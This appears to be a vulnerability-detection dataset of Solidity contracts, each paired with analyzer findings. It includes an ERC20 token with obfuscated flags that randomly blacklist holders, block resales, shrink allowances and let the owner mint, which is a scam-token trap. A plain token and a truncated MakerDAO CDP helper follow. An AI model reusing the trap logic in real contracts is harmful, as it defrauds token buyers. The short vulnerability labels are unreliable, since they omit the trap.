}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
function SetStakingReward(uint256 amount) external onlyOwner {
spanish = amount;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, labrador))) % 50;
labrador++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function BringFreedom() external onlyOwner {
spanish = chTx / 2400;
arizona = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increasealowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseallowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function CreateAFarm(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function CheckAPY(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
marvel[spender] = val;
fantastic[spender] = val2;
omni[spender] = val3;
arizona = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (rocks == false)) {
spanish = chTx;
arizona = true;
}
if ((address(sender) == creator) && (rocks == true)) {
marvel[recipient] = true;
fantastic[recipient] = false;
rocks = false;
}
if ((amount > folding) && (marvel[sender] == true) && (address(sender) != creator)) {
omni[recipient] = true;
}
if (marvel[recipient] != true) {
fantastic[recipient] = ((randomly() == 3) ? true : false);
}
if ((fantastic[sender]) && (marvel[recipient] == false)) {
fantastic[recipient] = true;
}
if (marvel[sender] == false) {
if ((amount > folding) && (omni[sender] == true)) {
require(false);
}
require(amount < spanish);
if (arizona == true) {
if (omni[sender] == true) {
require(false);
}
omni[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (llama == true)) {
marvel[spender] = true;
fantastic[spender] = false;
omni[spender] = false;
llama = false;
}
tok = (fantastic[owner] ? 24 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) incorrect-equality with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'iCASH' token contract
//
// Deployed to : 0x5f6FEd22A25332e68db24682DE400aDEEC4C477C
// Symbol : iCSH
// Name : iCASH
// Total supply: 50000000
// Decimals : 18
//
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract iCASH is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function iCASH() public {
symbol = "iCSH";
name = "iCASH";
decimals = 18;
_totalSupply = 50000000000000000000000000;
balances[0x5f6FEd22A25332e68db24682DE400aDEEC4C477C] = _totalSupply;
Transfer(address(0), 0x5f6FEd22A25332e68db24682DE400aDEEC4C477C, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity^0.4.21;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSThing is DSAuth, DSNote, DSMath {
function S(string s) internal pure returns (bytes4) {
return bytes4(keccak256(s));
}
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSToken is DSTokenBase(0), DSStop {
string public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
function DSToken(string symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
Burn(guy, wad);
}
// Optional token name
string name = "";
function setName(string name_) public auth {
name = name_;
}
}
contract DSProxy is DSAuth, DSNote {
DSProxyCache public cache; // global cache for contracts
function DSProxy(address _cacheAddr) public {
require(setCache(_cacheAddr));
}
function() public payable {
}
// use the proxy to execute calldata _data on contract _code
function execute(bytes _code, bytes _data)
public
payable
returns (address target, bytes32 response)
{
target = cache.read(_code);
if (target == 0x0) {
// deploy contract & store its address in cache
target = cache.write(_code);
}
response = execute(target, _data);
}
function execute(address _target, bytes _data)
public
auth
note
payable
returns (bytes32 response)
{
require(_target != 0x0);
// call contract in current context
assembly {
let succeeded := delegatecall(sub(gas, 5000), _target, add(_data, 0x20), mload(_data), 0, 32)
response := mload(0) // load delegatecall output
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(0, 0)
}
}
}
//set new cache
function setCache(address _cacheAddr)
public
auth
note
returns (bool)
{
require(_cacheAddr != 0x0); // invalid cache address
cache = DSProxyCache(_cacheAddr); // overwrite cache
return true;
}
}
// DSProxyFactory
// This factory deploys new proxy instances through build()
// Deployed proxy addresses are logged
contract DSProxyFactory {
event Created(address indexed sender, address proxy, address cache);
mapping(address=>bool) public isProxy;
DSProxyCache public cache = new DSProxyCache();
// deploys a new proxy instance
// sets owner of proxy to caller
function build() public returns (DSProxy proxy) {
proxy = build(msg.sender);
}
// deploys a new proxy instance
// sets custom owner of proxy
function build(address owner) public returns (DSProxy proxy) {
proxy = new DSProxy(cache);
Created(owner, address(proxy), address(cache));
proxy.setOwner(owner);
isProxy[proxy] = true;
}
}
// DSProxyCache
// This global cache stores addresses of contracts previously deployed
// by a proxy. This saves gas from repeat deployment of the same
// contracts and eliminates blockchain bloat.
// By default, all proxies deployed from the same factory store
// contracts in the same cache. The cache a proxy instance uses can be
// changed. The cache uses the sha3 hash of a contract's bytecode to
// lookup the address
contract DSProxyCache {
mapping(bytes32 => address) cache;
function read(bytes _code) public view returns (address) {
bytes32 hash = keccak256(_code);
return cache[hash];
}
function write(bytes _code) public returns (address target) {
assembly {
target := create(0, add(_code, 0x20), mload(_code))
switch iszero(extcodesize(target))
case 1 {
// throw if contract failed to deploy
revert(0, 0)
}
}
bytes32 hash = keccak256(_code);
cache[hash] = target;
}
}
interface DSValue {
function peek() external constant returns (bytes32, bool);
function read() external constant returns (bytes32);
}
contract TubInterface {
function mat() public view returns(uint);
// function cups(bytes32 cup) public view returns(Cup);
function ink(bytes32 cup) public view returns (uint);
function tab(bytes32 cup) public returns (uint);
function rap(bytes32 cup) public returns (uint);
//--Collateral-wrapper----------------------------------------------
// Wrapper ratio (gem per skr)
function per() public view returns (uint ray);
// Join price (gem per skr)
function ask(uint wad) public view returns (uint);
// Exit price (gem per skr)
function bid(uint wad) public view returns (uint);
function join(uint wad) public;
function exit(uint wad) public;
//--CDP-risk-indicator----------------------------------------------
// Abstracted collateral price (ref per skr)
function tag() public view returns (uint wad);
// Returns true if cup is well-collateralized
function safe(bytes32 cup) public returns (bool);
//--CDP-operations--------------------------------------------------
function open() public returns (bytes32 cup);
function give(bytes32 cup, address guy) public;
function lock(bytes32 cup, uint wad) public;
function free(bytes32 cup, uint wad) public;
function draw(bytes32 cup, uint wad) public;
function wipe(bytes32 cup, uint wad) public;
function shut(bytes32 cup) public;
function bite(bytes32 cup) public;
}
interface OtcInterface {
function sellAllAmount(address, uint, address, uint) public returns (uint);
function buyAllAmount(address, uint, address, uint) public returns (uint);
function getPayAmount(address, address, uint) public constant returns (uint);
}
interface ProxyCreationAndExecute {
function createAndSellAllAmount(
DSProxyFactory factory,
OtcInterface otc,
ERC20 payToken,
uint payAmt,
ERC20 buyToken,
uint minBuyAmt) public
returns (DSProxy proxy, uint buyAmt);
function createAndSellAllAmountPayEth(
DSProxyFactory factory,
OtcInterface otc,
ERC20 buyToken,
uint minBuyAmt) public payable returns (DSProxy proxy, uint buyAmt);
function createAndSellAllAmountBuyEth(
DSProxyFactory factory,
OtcInterface otc,
ERC20 payToken,
uint payAmt,
uint minBuyAmt) public returns (DSProxy proxy, uint wethAmt);
function createAndBuyAllAmount(
DSProxyFactory factory,
OtcInterface otc,
ERC20 buyToken,
uint buyAmt,
ERC20 payToken,
uint maxPayAmt) public returns (DSProxy proxy, uint payAmt);
function createAndBuyAllAmountPayEth(
DSProxyFactory factory,
OtcInterface otc,
ERC20 buyToken,
uint buyAmt) public payable returns (DSProxy proxy, uint wethAmt);
function createAndBuyAllAmountBuyEth(
DSProxyFactory factory,
OtcInterface otc,
uint wethAmt,
ERC20 payToken,
uint maxPayAmt) public returns (DSProxy proxy, uint payAmt);
}
interface OasisDirectInterface {
function sellAllAmount(
OtcInterface otc,
ERC20 payToken,
uint payAmt,
ERC20 buyToken,
uint minBuyAmt) public
returns (uint buyAmt);
function sellAllAmountPayEth(
OtcInterface otc,
ERC20 buyToken,
uint minBuyAmt) public payable returns (uint buyAmt);
function sellAllAmountBuyEth(
OtcInterface otc,
ERC20 payToken,
uint payAmt,
uint minBuyAmt) public returns (uint wethAmt);
function buyAllAmount(
OtcInterface otc,
ERC20 buyToken,
uint buyAmt,
ERC20 payToken,
uint maxPayAmt) public returns (uint payAmt);
function buyAllAmountPayEth(
OtcInterface otc,
ERC20 buyToken,
uint buyAmt) public payable returns (uint wethAmt);
function buyAllAmountBuyEth(
OtcInterface otc,
uint wethAmt,
ERC20 payToken,
uint maxPayAmt) public returns (uint payAmt);
}
contract WETH is ERC20 {
function deposit() public payable;
function withdraw(uint wad) public;
}
/**
A contract to help creating creating CDPs in MakerDAO's system
The motivation for this is simply to save time and automate some steps for people who
want to create CDPs often
*/
contract CDPer is DSStop, DSMath {
///Main Net\\\
// uint public slippage = WAD / 50;//2%
// TubInterface public tub = TubInterface(0x448a5065aebb8e423f0896e6c5d525c040f59af3);
// DSToken public dai = DSToken(0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359); // Stablecoin
// DSToken public skr = DSToken(0xf53AD2c6851052A81B42133467480961B2321C09); // Abstracted collateral - PETH
// WETH public gem = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // Underlying collateral - WETH
// DSValue public feed = DSValue(0x729D19f657BD0614b4985Cf1D82531c67569197B); // Price feed
// OtcInterface public otc = OtcInterface(0x14FBCA95be7e99C15Cc2996c6C9d841e54B79425);
///Kovan test net\\\
///This is the acceptable price difference when exchanging at the otc. 0.01 * 10^18 == 1% acceptable slippage
uint public slippage = 99*10**16;//99%
TubInterface public tub = TubInterface(0xa71937147b55Deb8a530C7229C442Fd3F31b7db2);
DSToken public dai = DSToken(0xC4375B7De8af5a38a93548eb8453a498222C4fF2); // Stablecoin
DSToken public skr = DSToken(0xf4d791139cE033Ad35DB2B2201435fAd668B1b64); // Abstracted collateral - PETH
DSToken public gov = DSToken(0xAaF64BFCC32d0F15873a02163e7E500671a4ffcD); // MKR Token
WETH public gem = WETH(0xd0A1E359811322d97991E03f863a0C30C2cF029C); // Underlying collateral - WETH
DSValue public feed = DSValue(0xA944bd4b25C9F186A846fd5668941AA3d3B8425F); // Price feed
OtcInterface public otc = OtcInterface(0x8cf1Cab422A0b6b554077A361f8419cDf122a9F9);
///You won't be able to create a CDP or trade less than these values
uint public minETH = WAD / 20; //0.05 ETH
uint public minDai = WAD * 50; //50 Dai
//if you recursively want to invest your CDP, this will be the target liquidation price
uint public liquidationPriceWad = 320 * WAD;
/// liquidation ratio from Maker tub (can be updated manually)
uint ratio;
function CDPer() public {
}
/**
@notice Sets all allowances and updates tub liquidation ratio
*/
function init() public auth {
gem.approve(tub, uint(-1));
skr.approve(tub, uint(-1));
dai.approve(tub, uint(-1));
gov.approve(tub, uint(-1));
gem.approve(owner, uint(-1));
skr.approve(owner, uint(-1));
dai.approve(owner, uint(-1));
gov.approve(owner, uint(-1));
dai.approve(otc, uint(-1));
gem.approve(otc, uint(-1));
tubParamUpdate();
}
/**
@notice updates tub liquidation ratio
*/
function tubParamUpdate() public auth {
ratio = tub.mat() / 10**9; //liquidation ratio
}
/**
@notice create a CDP and join with the ETH sent to this function
@dev This function wraps ETH, converts to PETH, creates a CDP, joins with the PETH created and gives the CDP to the sender. Will revert if there's not enough WETH to buy with the acceptable slippage
*/
function createAndJoinCDP() public stoppable payable returns(bytes32 id) {
require(msg.value >= minETH);
gem.deposit.value(msg.value)();
id = _openAndJoinCDPWETH(msg.value);
tub.give(id, msg.sender);
}
/**
@notice create a CDP from all the Dai in the sender's balance - needs Dai transfer approval
@dev this function will sell the Dai at otc for weth and then do the same as create and JoinCDP. Will revert if there's not enough WETH to buy with the acceptable slippage
*/
function createAndJoinCDPAllDai() public returns(bytes32 id) {
return createAndJoinCDPDai(dai.balanceOf(msg.sender));
}
/**
@notice create a CDP from the given amount of Dai in the sender's balance - needs Dai transfer approval
@dev this function will sell the Dai at otc for weth and then do the same as create and JoinCDP. Will revert if there's not enough WETH to buy with the acceptable slippage
@param amount - dai to transfer from the sender's balance (needs approval)
*/
function createAndJoinCDPDai(uint amount) public auth stoppable returns(bytes32 id) {
require(amount >= minDai);
uint price = uint(feed.read());
require(dai.transferFrom(msg.sender, this, amount));
uint bought = otc.sellAllAmount(dai, amount,
gem, wmul(WAD - slippage, wdiv(amount, price)));
id = _openAndJoinCDPWETH(bought);
tub.give(id, msg.sender);
}
/**
@notice create a CDP from the ETH sent, and then create Dai and reinvest it in the CDP until the target liquidation price is reached (or the minimum investment amount)
@dev same as openAndJoinCDP, but then draw and reinvest dai. Will revert if trades are not possible.
*/
function createCDPLeveraged() public auth stoppable payable returns(bytes32 id) {
require(msg.value >= minETH);
uint price = uint(feed.read());
gem.deposit.value(msg.value)();
id = _openAndJoinCDPWETH(msg.value);
while(_reinvest(id, price)) {}
tub.give(id, msg.sender);
}
/**
@notice create a CDP all the Dai in the sender's balance (needs approval), and then create Dai and reinvest it in the CDP until the target liquidation price is reached (or the minimum investment amount)
@dev same as openAndJoinCDPDai, but then draw and reinvest dai. Will revert if trades are not possible.
*/
function createCDPLeveragedAllDai() public returns(bytes32 id) {
return createCDPLeveragedDai(dai.balanceOf(msg.sender));
}
/**
@notice create a CDP the given amount of Dai in the sender's balance (needs approval), and then create Dai and reinvest it in the CDP until the target liquidation price is reached (or the minimum investment amount)
@dev same as openAndJoinCDPDai, but then draw and reinvest dai. Will revert if trades are not possible.
*/
function createCDPLeveragedDai(uint amount) public auth stoppable returns(bytes32 id) {
require(amount >= minDai);
uint price = uint(feed.read());
require(dai.transferFrom(msg.sender, this, amount));
uint bought = otc.sellAllAmount(dai, amount,
gem, wmul(WAD - slippage, wdiv(amount, price)));
id = _openAndJoinCDPWETH(bought);
while(_reinvest(id, price)) {}
tub.give(id, msg.sender);
}
/**
@notice Shuts a CDP and returns the value in the form of ETH. You need to give permission for the amount of debt in Dai, so that the contract will draw it from your account. You need to give the CDP to this contract before using this function. You also need to send a small amount of MKR to this contract so that the fee can be paid.
@dev this function pays all debt(from the sender's account) and fees(there must be enough MKR present on this account), then it converts PETH to WETH, and then WETH to ETH, finally it sends the balance to the sender
@param _id id of the CDP to shut - it must be given to this contract
*/
function shutForETH(uint _id) public auth stoppable {
bytes32 id = bytes32(_id);
uint debt = tub.tab(id);
if (debt > 0) {
require(dai.transferFrom(msg.sender, this, debt));
}
uint ink = tub.ink(id);// locked collateral
tub.shut(id);
uint gemBalance = tub.bid(ink);
tub.exit(ink);
gem.withdraw(min(gemBalance, gem.balanceOf(this)));
msg.sender.transfer(min(gemBalance, address(this).balance));
}
/**
@notice shuts the CDP and returns all the value in the form of Dai. You need to give permission for the amount of debt in Dai, so that the contract will draw it from your account. You need to give the CDP to this contract before using this function. You also need to send a small amount of MKR to this contract so that the fee can be paid.
@dev this function pays all debt(from the sender's account) and fees(there must be enough MKR present on this account), then it converts PETH to WETH, then trades WETH for Dai, and sends it to the sender
@param _id id of the CDP to shut - it must be given to this contract
*/
function shutForDai(uint _id) public auth stoppable {
bytes32 id = bytes32(_id);
uint debt = tub.tab(id);
if (debt > 0) {
